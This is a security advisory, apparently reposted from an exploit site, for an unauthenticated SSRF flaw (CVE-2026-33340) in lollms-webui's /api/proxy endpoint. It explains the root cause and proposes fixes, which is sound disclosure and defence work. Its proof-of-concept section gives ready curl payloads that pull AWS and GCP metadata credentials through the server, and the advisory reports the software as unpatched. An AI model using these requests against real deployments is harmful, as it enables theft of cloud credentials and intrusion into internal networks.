## https://sploitus.com/exploit?id=PACKETSTORM:218144
# CVE-2026-33340: SSRF in lollms-webui
## Overview
| Field | Detail |
|---|---|
| **CVE ID** | CVE-2026-33340 |
| **Vulnerability** | Server-Side Request Forgery (SSRF) |
| **Affected Product** | ParisNeo/lollms-webui (LoLLMs WEBUI) |
| **Severity** | Critical โ CVSS 9.1 |
| **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` |
| **CWE** | CWE-918: Server-Side Request Forgery (SSRF) |
| **Affected Component** | `lollms_core/lollms/server/endpoints/lollms_apps.py` |
| **Vulnerable Endpoint** | `/api/proxy` |
| **Advisory** | [GHSA-mcwr-5469-pxj4](https://github.com/ParisNeo/lollms-webui/security/advisories/GHSA-mcwr-5469-pxj4) |
| **NVD** | [NVD Entry](https://nvd.nist.gov/vuln/detail/CVE-2026-33340) |
| **SentinelOne** | [SentinelOne Analysis](https://www.sentinelone.com/vulnerability-database/cve-2026-33340/) |
| **Discovered by** | [Regaan R](https://github.com/regaan) โ [ROT Independent Security Research Lab](https://rothackers.com) |
---
## Summary
A critical Server-Side Request Forgery (SSRF) vulnerability has been identified in `lollms-webui`, the web interface for Lord of Large Language and Multi modal Systems. The `@router.post("/api/proxy")` endpoint allows **unauthenticated attackers** to force the server into making arbitrary GET requests. This can be exploited to access internal services, scan local networks, or exfiltrate sensitive cloud metadata such as AWS/GCP IAM tokens.
---
## Affected Product
- **Repository**: [`ParisNeo/lollms-webui`](https://github.com/ParisNeo/lollms-webui) / [`ParisNeo/lollms`](https://github.com/ParisNeo/lollms)
- **Affected Component**: `lollms_core/lollms/server/endpoints/lollms_apps.py` ([Lines 443-450](https://github.com/ParisNeo/lollms-webui/blob/8c5dcef63d847bb3d027ec74915d8fe4afd3014e/lollms/server/endpoints/lollms_apps.py#L443-L450))
- **Vulnerable Endpoint**: `/api/proxy`
- **Affected Versions**: All known existing versions
---
## Root Cause Analysis
The vulnerability exists because the `proxy` function in `lollms_apps.py` does not implement authentication or any form of URL/domain validation. It accepts a raw URL string from the user and passes it directly to an asynchronous HTTP client.
### Vulnerable Code
```python
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
try:
async with httpx.AsyncClient() as client:
# No check_access() call โ unauthenticated
# No URL validation โ arbitrary destinations
response = await client.get(request.url)
return {"content": response.text}
except Exception as e:
raise HTTPException(status_code=500, detail=str(e))
```
### What's Wrong
1. **No Authentication**: The endpoint does not call `check_access(lollmsElfServer, request.client_id)` or any authentication middleware, allowing any unauthenticated user to invoke it.
2. **No URL Validation**: The user-supplied URL is passed directly to `httpx.AsyncClient().get()` without checking the destination against a whitelist or blocking private/internal IP ranges.
3. **Full Response Disclosure**: The entire HTTP response body is returned to the caller via `{"content": response.text}`, allowing complete data exfiltration.
---
## Proof of Concept
### Step 1 โ Set up a simulated internal service
```bash
echo "INTERNAL_SECRET_DATA" > secret.txt
python3 -m http.server 8888
```
### Step 2 โ Exploit the SSRF
```bash
curl -X POST http://localhost:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://localhost:8888/secret.txt"}'
```
### Step 3 โ Observe the response
```json
{"content": "INTERNAL_SECRET_DATA\n"}
```
The server fetched the file from the internal service and returned its contents to the attacker.
### Cloud Metadata Exploitation
```bash
# AWS IMDSv1 โ Retrieve IAM credentials
curl -X POST http://<target>:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# GCP โ Retrieve access token
curl -X POST http://<target>:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'
```
---
## Impact
| Scenario | Description |
|---|---|
| **Cloud Credential Theft** | Attackers on cloud platforms (AWS/GCP/Azure) can access `http://169.254.169.254/` to retrieve instance metadata, IAM credentials, and access tokens โ leading to full cloud account compromise. |
| **Internal Network Pivoting** | Attackers can probe internal databases, APIs, admin panels, and management interfaces not exposed to the public internet. |
| **Localhost Service Access** | Attackers can reach `localhost`-bound services (Redis, Elasticsearch, Docker API, database consoles) that implicitly trust local traffic. |
| **Internal Port Scanning** | The SSRF can be used to enumerate open ports and running services on the internal network by observing response timing and error messages. |
| **Data Exfiltration** | Any HTTP-accessible data within the server's network reach can be read and returned to the attacker. |
---
## Attack Flow
```
Attacker lollms-webui Server Internal Network
| | |
| POST /api/proxy | |
| {"url": "http://169.254..."} | |
|----------------------------------->| |
| | GET http://169.254.169.254/... |
| |------------------------------------->|
| | |
| | 200 OK (IAM credentials) |
| |<-------------------------------------|
| | |
| {"content": "<credentials>"} | |
|<-----------------------------------| |
```
---
## Proposed Remediation
### 1. Add Authentication
```python
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
check_access(lollmsElfServer, request.client_id) # Add this
# ...
```
### 2. Implement URL Validation
```python
from urllib.parse import urlparse
import ipaddress
BLOCKED_RANGES = [
ipaddress.ip_network("127.0.0.0/8"),
ipaddress.ip_network("10.0.0.0/8"),
ipaddress.ip_network("172.16.0.0/12"),
ipaddress.ip_network("192.168.0.0/16"),
ipaddress.ip_network("169.254.0.0/16"), # Cloud metadata
]
def is_safe_url(url: str) -> bool:
parsed = urlparse(url)
hostname = parsed.hostname
if hostname in ("localhost", ""):
return False
try:
ip = ipaddress.ip_address(hostname)
return not any(ip in network for network in BLOCKED_RANGES)
except ValueError:
# Hostname is a domain โ resolve and check
import socket
resolved = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(resolved)
return not any(ip in network for network in BLOCKED_RANGES)
```
### 3. Restrict to Whitelisted Domains
```python
ALLOWED_DOMAINS = ["api.example.com", "cdn.example.com"]
def is_whitelisted(url: str) -> bool:
parsed = urlparse(url)
return parsed.hostname in ALLOWED_DOMAINS
```
---
## Patch Status
As of the publication date, **no patched version** of lollms-webui has been released. Monitor the [GitHub Security Advisory](https://github.com/ParisNeo/lollms-webui/security/advisories/GHSA-mcwr-5469-pxj4) for updates.
---
## Timeline
| Date | Event |
|---|---|
| 2026-03-07 | Vulnerability discovered and reported via GitHub Security Advisory |
| 2026-03-24 | CVE-2026-33340 published to NVD |
| 2026-03-25 | NVD database entry updated |
| 2026-03-27 | SentinelOne publishes vulnerability analysis |
---
## References
- [NVD โ CVE-2026-33340](https://nvd.nist.gov/vuln/detail/CVE-2026-33340)
- [GitHub Security Advisory โ GHSA-mcwr-5469-pxj4](https://github.com/ParisNeo/lollms-webui/security/advisories/GHSA-mcwr-5469-pxj4)
- [SentinelOne Vulnerability Database โ CVE-2026-33340](https://www.sentinelone.com/vulnerability-database/cve-2026-33340/)
- [Vulnerable Source Code (Lines 443-450)](https://github.com/ParisNeo/lollms-webui/blob/8c5dcef63d847bb3d027ec74915d8fe4afd3014e/lollms/server/endpoints/lollms_apps.py#L443-L450)
---
## Discovered by
**Regaan R** ([@regaan](https://github.com/regaan))
Lead Researcher โ [ROT Independent Security Research Lab](https://rothackers.com)
---
## Disclaimer
This writeup is published for educational and defensive purposes only. The vulnerability was reported through responsible disclosure via GitHub Security Advisories. Always obtain proper authorization before testing for vulnerabilities.
---
## License
This writeup is released under [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/).